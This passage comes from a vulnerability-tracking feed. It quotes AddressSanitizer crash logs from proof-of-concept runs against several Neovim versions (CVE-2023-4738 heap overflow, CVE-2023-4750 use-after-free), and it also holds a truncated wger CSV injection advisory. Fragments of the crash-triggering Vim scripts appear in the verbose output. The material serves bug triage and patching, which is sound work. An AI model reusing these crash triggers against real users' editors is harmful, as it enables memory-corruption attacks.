0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #12 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #13 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #14 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #15 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #16 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #17 0x7fa3ced06082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #18 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x60b000000d04 is located 0 bytes to the right of 100-byte region [0x60b000000ca0,0x60b000000d04)\nallocated by thread T0 here:\n    #0 0x4e06ad in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e06ad)\n    #1 0x8a067a in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:88:15\n    #2 0x8a07a8 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:15\n    #3 0x740268 in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3168:18\n    #4 0x73d4ed in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3931:21\n    #5 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #6 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #8 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #9 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #10 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #11 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #12 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #14 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #15 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #16 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #17 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #18 0x7fa3ced06082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4cc7ed) in strcpy\nShadow bytes around the buggy address:\n  0x0c167fff8150: fa fa fd fd fd fd fd fd fd fd fd fd fd fd fd fa\n  0x0c167fff8160: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00\n  0x0c167fff8170: 00 00 00 00 05 fa fa fa fa fa fa fa fa fa fd fd\n  0x0c167fff8180: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa\n  0x0c167fff8190: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x0c167fff81a0:[04]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==34842==ABORTING\n\n\nCommand:\n./nvim-0.6.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',5).'Z', repeat('0',60)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==34935==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000db4 at pc 0x0000004c27ce bp 0x7ffebca70030 sp 0x7ffebca6f7f0\nWRITE of size 101 at 0x60b000000db4 thread T0\n    #0 0x4c27cd in strcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4c27cd)\n    #1 0xd36dae in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6709:9\n    #2 0xd395ca in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6662:16\n    #3 0x8cb9fe in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4098:17\n    #4 0x8c4c80 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #5 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #6 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #7 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #8 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #9 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #10 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #11 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #12 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #13 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #14 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #15 0x7f60d5742082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #16 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x45df4d)\n\n0x60b000000db4 is located 0 bytes to the right of 100-byte region [0x60b000000d50,0x60b000000db4)\nallocated by thread T0 here:\n    #0 0x4d668d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4d668d)\n    #1 0xb5ef62 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xb5f124 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0x8d31ad in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3346:18\n    #4 0x8cb7b4 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4085:21\n    #5 0x8c4c80 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #6 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #7 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #8 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #9 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #10 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #11 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #12 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #13 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #14 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #15 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #16 0x7f60d5742082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4c27cd) in strcpy\nShadow bytes around the buggy address:\n  0x0c167fff8160: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd\n  0x0c167fff8170: fd fd fd fd fd fa fa fa fa fa fa fa fa fa 00 00\n  0x0c167fff8180: 00 00 00 00 00 00 00 00 00 00 05 fa fa fa fa fa\n  0x0c167fff8190: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c167fff81a0: fd fa fa fa fa fa fa fa fa fa 00 00 00 00 00 00\n=>0x0c167fff81b0: 00 00 00 00 00 00[04]fa fa fa fa fa fa fa fa fa\n  0x0c167fff81c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==34935==ABORTING\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',5).'Z', repeat('0',60)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==34975==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000e64 at pc 0x0000004b35de bp 0x7ffd4e634490 sp 0x7ffd4e633c50\nWRITE of size 101 at 0x60b000000e64 thread T0\n    #0 0x4b35dd in strcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4b35dd)\n    #1 0xb8aac3 in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6618:9\n    #2 0xb8d167 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6575:16\n    #3 0x7b951d in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3811:17\n    #4 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #5 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #6 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #7 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #8 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #9 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #10 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #11 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #12 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #13 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #14 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #15 0x7fd795e41082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #16 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x60b000000e64 is located 0 bytes to the right of 100-byte region [0x60b000000e00,0x60b000000e64)\nallocated by thread T0 here:\n    #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n    #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n    #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n    #3 0x7c017d in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3085:18\n    #4 0x7b9314 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3799:21\n    #5 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #6 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #7 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #8 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #9 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #10 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #11 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #12 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #13 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #14 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #15 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #16 0x7fd795e41082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4b35dd) in strcpy\nShadow bytes around the buggy address:\n  0x0c167fff8170: fd fd fd fd fd fa fa fa fa fa fa fa fa fa fd fd\n  0x0c167fff8180: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa\n  0x0c167fff8190: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c167fff81a0: 05 fa fa fa fa fa fa fa fa fa fd fd fd fd fd fd\n  0x0c167fff81b0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa\n=>0x0c167fff81c0: 00 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa\n  0x0c167fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff8210: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==34975==ABORTING", "vulnerability": "CVE-2023-4738", "author": {"login": "automation"}}, {"uuid": "5485f081-4ae9-4bed-a15a-8ccffe61759f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:35:28.929767+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/dn3x4lc6hk6rx", "content": "CVE-2026-86257 - wger before 2.6 CSV Formula Injection via member export\nCVE ID : CVE-2026-86257\n \n Published : Sept. 6, 2026, 12:17 p.m. | 1\u00a0hour, 12\u00a0minutes ago\n \n Description : wger before 2.6 fails to sanitize first_name and last_name fields in the gym member TSV export en...", "vulnerability": "CVE-2026-86257", "author": {"login": "automation"}}, {"uuid": "c5a77d1e-e994-4bdb-9c39-44799f569f2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:23:27.575979+00:00", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/9c26aedbdc7873ec09c6c4d833701a83", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: set noautoread\n\nline 2: comman!-narg=* Xexpr lex\n\nline 3: auto BufReadPre * exe\"sn\" ..expand(\"\") \n\nline 4: fu Xautocmd_changelist(cchar)\n\nline 9: call Xautocmd_changelist('c')\n\ncalling Xautocmd_changelist('c')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2:   edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe\"sn\" ..expand(\"\") \n\nExecuting: exe\"sn\" ..expand(\"\") \n\nExecuting: sn1\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting: unlet! b:keymap_name\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim[9]..function Xautocmd_changelist:\nline    2:\nE201: *ReadPre autocommands must not change current buffer\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: lex'Xtestfil\ufffd2:4:4'\n\nline 3: unlet! b:keymap_name\n\n(1 of 1): 4\nXautocmd_changelist returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim\n\nline 10: cal Xautocmd_changelist('')\n\ncalling Xautocmd_changelist('')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2:   edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe\"sn\" ..expand(\"\") \n\nExecuting: exe\"sn\" ..expand(\"\") \n\nExecuting: sn4\n\nExecuting: unlet! b:keymap_name\n\nline 2: unlet! b:keymap_name\n\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: lex'Xtestfil\ufffd2:4:4'\n=================================================================\n==31981==ERROR: AddressSanitizer: heap-use-after-free on address 0x62700000d020 at pc 0x0000005dffb3 bp 0x7ffc29306be0 sp 0x7ffc29306bd8\nREAD of size 8 at 0x62700000d020 thread T0\n    #0 0x5dffb2 in bt_quickfix /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3942:30\n    #1 0x9987dc in is_qf_win /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3837:7\n    #2 0x99858a in qf_find_buf /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3876:9\n    #3 0x984f91 in qf_update_buffer /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3913:16\n    #4 0x982621 in qf_init_ext /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:1210:5\n    #5 0x98d2af in ex_cexpr /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6970:15\n    #6 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #8 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #9 0xaffe4a in do_ucmd /home/zzw/Desktop/neovim/build/../src/nvim/usercmd.c:1725:9\n    #10 0x754534 in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1612:13\n    #11 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #12 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #13 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #14 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #15 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #16 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #17 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #18 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #20 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #21 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #22 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #23 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #24 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #25 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #26 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #27 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #28 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #29 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #30 0x7f193f3c7082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #31 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x62700000d020 is located 10016 bytes inside of 12456-byte region [0x62700000a900,0x62700000d9a8)\nfreed by thread T0 here:\n    #0 0x4e042d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e042d)\n    #1 0x8a07c9 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:134:3\n    #2 0x5dbb0c in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:867:5\n    #3 0x5d9279 in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:696:5\n    #4 0x5e9ed1 in wipe_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4286:3\n    #5 0x5e9d5d in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4269:5\n    #6 0x7ac9d9 in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n    #7 0x734a66 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2291:13\n    #8 0x75c38f in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5270:9\n    #9 0x75f7aa in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5200:3\n    #10 0x75457d in 